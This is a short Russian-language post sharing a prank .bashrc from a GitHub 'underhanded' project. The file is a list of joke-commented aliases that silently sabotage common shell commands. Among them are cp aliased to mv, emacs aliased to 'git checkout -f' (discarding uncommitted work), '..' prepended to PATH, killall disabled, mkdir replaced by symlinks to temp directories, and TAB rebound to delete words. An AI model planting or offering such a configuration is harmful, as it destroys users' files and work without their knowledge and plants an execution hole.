Ох уж эти шутники.
Ох уж эти шуточки!
(https://github.com/ayust/underhanded/blob/master/.bashrc)
Ох уж эти шуточки!
(https://github.com/ayust/underhanded/blob/master/.bashrc)
# Respect your parents. export PATH="..:$PATH" # No one ever looks at the source file to verify that a copy succeeded. alias cp=mv # Nobody will miss one byte, right? alias curl="curl -C1" # Did you even know ls had this option? alias ls="ls --block-size=3" # This flag is a no-op. Most of the time. alias cd="cd -P" # What better time to run a command then when you're trying to kill existing copies of it? alias killall= # Make grep ignore input files whose names are a random length between 1 and 10. alias grep="grep --exclude \$(echo ?????????? | cut -c-\$((\$RANDOM%10+1)))" # Listing branches in Git will output them in random order. alias git="git -c pager.branch=shuf" # Make touch just a little bit pushier. alias touch="echo >>" # Cats are fickle creatures. alias cat="nc -w1 localhost 54321 | nc -l localhost 54321 2>/dev/null | cat" # Serves you right for wanting to use emacs. alias emacs="git checkout -f" # Vim has everything in order. alias vim="vim -c sort" # History class is boring. alias find="find -newer ~/.bashrc" # There's a big difference between mostly the same and all the same. # Mostly the same is slightly different. With all the same, well, # with all the same there's only really one thing you can do. alias uniq="uniq -s1" # Command lines are so dehumanizing, don't you think? alias sort="sort -h" # Every story has an ending. alias mkdir="ln -s $(mktemp -d)" # Sometimes alternate perspectives will improve your understanding of a problem. alias man="man -Ptac" # Restore Ctrl-C to its proper functionality. alias less="less -K" # bzip is more efficient, so always use it instead of gzip alias gzip="gzip -S .bz2" # Stop shouting everyone! Let's all calm down and handle this like adults. alias tar="tar --transform 's/.*/\L&/'" # Nothing is complete until it's gone. bind TAB:shell-backward-kill-word